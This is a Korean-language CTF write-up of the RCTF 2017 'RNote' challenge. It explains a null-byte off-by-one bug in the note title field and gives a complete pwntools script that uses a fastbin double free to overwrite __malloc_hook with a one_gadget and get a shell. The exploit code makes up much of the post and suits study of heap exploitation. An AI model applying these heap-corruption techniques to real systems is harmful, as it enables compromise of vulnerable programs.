System/RCTF 2017

[RCTF 2017] - RNote - 191110

WS-_K 2019. 11. 10. 19:04

0. 근황

 

 최근 휴가 + CCE 대회참여 때문에 포스팅을 많이 쉬게 되었다. 그러다보니 포스팅이 점점 귀찮아 져서 두달간 밀렸다...

 

 이제 문제 푸는 것마다 포스팅 하는 것 보다는 기억에 남는 기법이나 문제들 위주로 올려야겠다.

 

 이번 문제는 푼지 2개월 정도 지나서 놓치는 부분이 있을 수 있다...

 

 

1. Reversing

 

 

해당 바이너리는 세가지 기능을 제공한다.

 

1. Add new note

2. Delete a note

3. Show a note

4. Exit

 

 

1. Add new note

 

 총 16개의 note를 유지할 수 있고 note를 추가시킬 때마다 카운트가 증가된다.

 

 처음 입력을 받을 때 note의 size를 입력받는데 0x100를 최대로 넣을 수 있다. (large bin과 관련될 가능성 ↓)

 

 그 후에 입력받는 title과 content가 있는데

 

 title은 0x10 만큼의 string을 받고, content는 size만큼의 string을 받게 되는데

 

 마지막에 title은 string자체로 (0x6020e4 + 32*index)에 저장되게 되고 그 바로 옆에 content가 저장되어 있는 malloc의 주소가 저장되게 된다.

 

 그리고 해당 index에 flag를 켜준다.

 

 

 2. Delete a note

 

 index를 받고 index에 해당하는 note의 flag를 확인해서 켜져있으면 free를 시킨다.

 

 free를 시킨 후에 flag를 꺼준다.

 

 

 3. Show a note

 

 index를 받고 index에 해당하는 note의 content를 출력한다.

 

 

2. Exploit

 

 여기서 취약점은 Add new note에서 title을 넘겨받을 때 string에 null byte off_by_one이 발생한다.

 

 따라서 title옆에 저장되어 있는 content의 주소값에 영향을 끼치게 되어 double free가 가능해진다.

 

 게다가 여기는 edit 기능이 없으므로 malloc_hook이나 free_hook 자체에 malloc을 할당받아야 된다.

 

 따라서 unlink와 같은 기법으로는 해결이 안되고 fastbin double free로 malloc_hook 주소 자체에 할당을 받도록 진행했다.

 

 추가적으로 libc leak은 적당한 청크 free -> 다시 malloc (with 8byte strings) -> puts로 진행했다.

 

 해당 문제의 libc 버전은 2.23이지만 문제풀이 환경상 2.19로 진행했다.

 

 

 3. slv.py

 

from pwn import *

p = process('./RNote')
e = ELF('./RNote')

malloc_array = [False for i in range(0xf)]

def add_note(size,title, content):
	
	index = -1
	
	p.recv()
	p.send('1')
	
	sleep(0.1)
	p.recv()
	p.send(str(size))
	
	sleep(0.1)
	p.recv()
	p.sendline(title)
	
	sleep(0.1)
	p.recv()
	p.send(content)
	
	
	for i in range(0, 0xf):
		if malloc_array[i] == False:
			malloc_array[i] = True
			index = i
			break
	
	return index
	
def delete_note(index):
	p.recv()
	p.send('2')
	
	p.recv()
	p.send(str(index))
	
	malloc_array[index] = False
	
	return

def show_note(index):
	p.recv()
	p.send('3')
	
	p.recv()
	p.send(str(index))
	
	return p.recvuntil('*')

def libc_leak():
	
	a = add_note(200, '1', 'a')
	b = add_note(200, '2', 'b')
	
	delete_note(a)
	
	a = add_note(200, '1', 'abcdefgh')
	
	leak = show_note(a).split('abcdefgh')[1][:6]
	
	libc_leak = u64(leak+'\x00\x00')
	libc_base = libc_leak - 0x3c27b8
	
	log.info('libc_base : '+ hex(libc_base))
	
	delete_note(a)
	delete_note(b)
	
	return libc_base
	
def exploit():
	
	libc_base = libc_leak()
	
	addr_malloc_hook = libc_base + 0x3c2740
	addr_free_hook = libc_base + 0x3c4a10

	one_gadget = libc_base + 0xea36d
	
	addr_fake_chunk = addr_malloc_hook - 19
	
	a = add_note(0x70, 'a', 'a') # 0x80 (header + size) start_address: 0x...010
	
	b = add_note(0x60, 'b', 'b') # 0x70 start_address: 0x...090

	c = add_note(0x60, 'c', 'c') # 0x70 start_address: 0x...100
	
	d = add_note(0x60, 'd'*0x10, 'd') # 0x70 start_address: 0x...180
    # but Overwrite by title, So start_address: 0x...100
    
	delete_note(c)
	delete_note(b)
	delete_note(d)
    
    # c-> b-> d : fastbin(LIFO)
	
	payload = ''
	payload += p64(addr_fake_chunk) # fastbin check_size 32bit so choose near _malloc_hook
	
	add_note(0x60, 'b', payload) # ???-> addr_fake_chunk-> c-> b (fastbin)
    add_note(0x60, 'c', 'c') # ???-> addr_fake_chunk-> c (fastbin)
	add_note(0x60, 'd', 'd') # ???-> addr_fake_chunk (fastbin)
	
	payload = ''
	payload += 'a'*3 # padding
	payload += p64(one_gadget)
	
	add_note(0x60, 'e', payload) # Overwrite _malloc_hook to one_gadget
	
	p.recv()
	p.send('1')
	p.recv()
	p.send('1')
	
	p.interactive()

def main():

	exploit()
	
	return

if __name__ == '__main__':
	main()

 

 fastbin double free를 할 때 주의 해야되는 것은

 

 1. fastbin 안에 넣을때 그 전에 넣은 주소와 같은 지 check 한다는 것

 

 같은 주소를 바로 double free를 시키면 안되고 중간에 dummy chunk를 한 번 free 시켜줘야 된다.

 

 2. fastbin에서 꺼낼때 size check를 한다는 것

 

  size 체크할때 32bit만 확인함.

 

 

[깨달은 점]

 

 1. 문제의 유형이 malloc으로 할당을 받아 Overwrite하는 방법과 edit으로 수정하는 방법. 두 가지로 문제유형이 다를 수도 있음.

 

 2. fastbin에 chunk를 넣을 때 중간에 dummy chunk를 넣어줘야 되는 것.

 

 3. fastbin에서 꺼낼때 32bit의 size check를 한다는 것